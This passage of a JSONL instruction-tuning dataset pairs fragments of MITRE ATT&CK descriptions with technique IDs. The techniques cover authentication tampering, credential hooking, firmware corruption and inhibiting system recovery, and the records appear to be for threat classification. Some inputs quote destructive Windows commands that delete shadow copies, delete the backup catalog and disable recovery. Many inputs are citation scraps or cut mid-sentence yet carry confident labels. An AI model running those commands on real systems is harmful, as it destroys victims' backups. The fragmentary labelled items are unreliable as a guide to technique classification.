`AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation:", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud)", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In environments using AD FS, an adversary may edit the `Microsoft.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In environments using AD FS, an adversary may edit the `Microsoft. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IdentityServer.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IdentityServer. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb) ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud.", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)", "output": "T1556.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors) ### Response: T1556.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To decrypt the passwords, an adversary needs four components:\n\n1.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To decrypt the passwords, an adversary needs four components:\n\n1. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync)", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.", "output": "T1556.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>. ### Response: T1556.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation:", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple PAM)(Citation: Man Pam_Unix)(Citation:", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple PAM)(Citation: Man Pam_Unix)(Citation: ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Red Hat PAM)", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Hat PAM) ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify components of the PAM system to create backdoors.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify components of the PAM system to create backdoors. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use methods of capturing user input to obtain credentials or collect information.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use methods of capturing user input to obtain credentials or collect information. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials.", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials.", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hooking involves redirecting calls to these functions and can be implemented via:", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hooking involves redirecting calls to these functions and can be implemented via: ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation:", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MWRInfoSecurity Dynamic Hooking 2015)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MWRInfoSecurity Dynamic Hooking 2015) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation:", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality.", "output": "T1495", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. ### Response: T1495."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These devices may include the motherboard, hard drive, or video cards.", "output": "T1495", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These devices may include the motherboard, hard drive, or video cards. ### Response: T1495."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices.", "output": "T1495", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. ### Response: T1495."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine)", "output": "T1495", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) ### Response: T1495."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).", "output": "T1495", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). ### Response: T1495."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation:", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may deny access to available backups and recovery options.", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may deny access to available backups and recovery options. ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features.", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation:", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye WannaCry 2017)", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye WannaCry 2017) ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom) ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/quiet</code>\n*", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /quiet</code>\n* ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code> ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device.", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Together this activity may leave network devices completely inoperable and inhibit recovery operations.", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Together this activity may leave network devices completely inoperable and inhibit recovery operations. ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Ransomware Backups 2020)", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Ransomware Backups 2020) ### Response: T1490."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation:", "output": "T1490", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### 